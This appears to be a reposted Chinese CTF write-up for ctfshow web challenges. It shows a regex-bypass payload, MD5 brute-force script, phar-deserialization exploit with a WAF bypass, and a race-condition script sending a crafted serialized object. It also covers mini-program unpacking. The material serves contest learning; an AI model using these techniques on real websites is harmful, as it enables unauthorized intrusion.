ctfshow大吉大利杯Web題目Writeup


ctfshow大吉大利杯Web題目Writeup

veryphp

考點:正則匹配、MD5爆破、調用類中方法

源碼

<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
    function __wakeup(){
        die("Access Denied!");
    }
    static function oao(){
        show_source("config.php");
    }
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
if(isset($shaw_root)){
    if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
        echo $hint;
    }else{
        echo "Almost there."."<br>";
    }
}else{
    echo "<br>"."Input correct parameters"."<br>";
    die();
}
if($ans===$SecretNumber){
    echo "<br>"."Congratulations!"."<br>";
    call_user_func($my_ans);
}

第一層正則過濾了大部分的符號以及個別字母,這個好像是Web入門題的trick,可以通過空格繞過,也可以自己試試有啥可以替換成下划線的

網站代碼
<?php
var_dump($_POST);
?>

遍歷腳本
import requests
url = "http://127.0.0.1/Web1.php"
for i in range(34,127):
    s = chr(i)
    data = {
        "shaw" + S + "root" : "x"
    }
    res = requests.post(url=url,data=data)
    if "shaw_root" not in res.text:
        print s

第二層正則是需要滿足的,因為我們要看hint變量的內容,通過正則網站匹配,最后獲得字符串:-a9<b>zx>>>>>>>>>>>abcphp@Rs|,在hint中可以獲得SecretNumber的值

#coding: utf-8

import hashlib
s = ''
dic = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
md5 = hashlib.md5(dic).hexdigest()

for a in dic:
	for b in dic:
		for c in dic:
			for d in dic:
				for g in dic:
					t = "shaw"+ str(a)+str(b)+str(c)+str(d)+str(g) +"root"
					md5 = hashlib.md5(t).hexdigest()
					if md5 == '166b47a5cb1ca2431a0edfcef200684f':
						print t
						print md5

最后一步就是調用類中方法,這個入門題也是有考過

Payload:ans=21475&shaw root=-a9<b>zx>>>>>>>>>>>abcphp@Rs|&my ans=qwq::oao

spaceman

這題非預期了,就很突然,聽說考點是反序列化的字符串逃逸,因為沒有revenge就沒去糾結了

虎山行and虎山行's revenge

考點:代碼審計、Phar反序列化、條件競爭

打開后是一個達達CMS,感覺這么大的網站應該有源碼,就www.zip試試,無果,去看了一下hint,竟然是www.rar,嗚嗚嗚。

獲得源碼后,先用seay審計一下

找到這個是參數可控,可以目錄穿梭的。嘗試訪問根目錄下的flag,獲得新路由ctfshowsecretfilehh,代碼如下

<?php
highlight_file(__FILE__);
error_reporting(0);
include('waf.php');
class Ctfshow{
    public $ctfer = 'shower';
    public function __destruct(){
        system('cp /hint* /var/www/html/hint.txt');
    }
}
$filename = $_GET['file'];
readgzfile(waf($filename));
?>

有一個類,一看就是要觸發的,但是后面處理的操作又沒有反序列化,先讀一下waf的內容,知道了過濾很多phar偽協議的操作,那這里就是要上傳文件,然后通過phar協議進行反序列化。

去找上傳點,在后台管理中找到了。(其實這里也可以根據上傳點的url判斷出考點,upload.php文件並不在mc-admin文件夾下,可見這個是后面自己加上去),只允許上傳圖片,先做個phar文件

<?php
class Ctfshow{
    public $ctfer = 'shower';
}
$phar = new Phar("b.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar-> addFromString('test.txt','test');
$o = new Ctfshow();
$phar->setMetadata($o);
$phar->stopBuffering();
?>

把后綴名改成.gif即可

接下來這步是yu師傅教的,因為waf把phar偽協議的組合拳過濾的很死,從官網中的glob協議也不行,最后yu師傅說可以用zlib:phar://這樣繞過(yu22x yyds),但是我想去執行文件時發現不行,用第一層的方法讀upload文件

$md5_unix_random =substr(md5(time()),0,8);
$filename = $md5_unix_random.'.'.$extension;
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);

不給文件名,還用了md5加密,不過這個記得在縱橫杯上見到過,用腳本上傳即可。

獲得新路由ctfshowgetflaghhhh,源碼

<?php
show_source(__FILE__);
$unser = $_GET['unser'];
class Unser {
    public $username='Firebasky';
    public $password;
    function __destruct() {
        if($this->username=='ctfshow'&&$this->password==(int)md5(time())){
            system('cp /ctfshow* /var/www/html/flag.txt');
        }
    }
}
$ctf=@unserialize($unser);
system('rm -rf /var/www/html/flag.txt');

簡單的條件競爭

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import hashlib
import requests
import time

def MD5(str):
    hl = hashlib.md5()
    hl.update(str.encode())
    return hl.hexdigest()

if __name__ == '__main__':
    url = 'http://fa001af0-2492-46ff-8753-8a94e21c532d.chall.ctf.show/hsxctfshowsecretgetflagl/'
    while True:
        x = MD5(str(int(time.time())))
        # print x
        params = {
            'unser':'O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";s:32:"'+x+'";}'
        }
        res = requests.get(url=url,params=params)
        #print res.url

然后訪問/flag.txt即可

有手就行

考點:base64隱寫、微信小程序逆向

打開后沒有內容,查看源碼發現有注釋,是base64隱寫,這里用的網站是https://tool.jisuapi.com/base642pic.html,是趙總!!!然后其實就去猜了,但是發現url修改文件名后還是會自動補上?file=scan,猜測要改的file參數,修改?file=flag獲得另外一張圖片(是二維碼),掃描后是一個微信小程序。計算了一下,用鼠大師(Y4師傅推薦,好評)以0.001s點擊,需要15個小時多才能完成,那就不用做其他題目了,趕緊換個辦法。

這時候神光師傅發了一篇文章這里是關於微信小程序的逆向,這里就是跟着做一遍就可以獲得flag了,因為是手機是ios,所以我這里用模擬器做的。

通過打開微信的小程序,這時候它會緩存至本地,然后使用RE文件管理器找到它的.wxapkg后綴名文件,如下(其中很長一串數字+字母的內容是隨機的)

接着將他們導出至電腦上

從github上下載逆向的相關工具(這里用的語言是nodejs),並裝上依賴,切記依賴是放在工具文件夾下的

npm install esprima
npm install css-tree
npm install cssbeautify
npm install vm2
npm install uglify-es
npm install js-beautify
npm install escodegen

執行對應命令即可

搜索flag


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM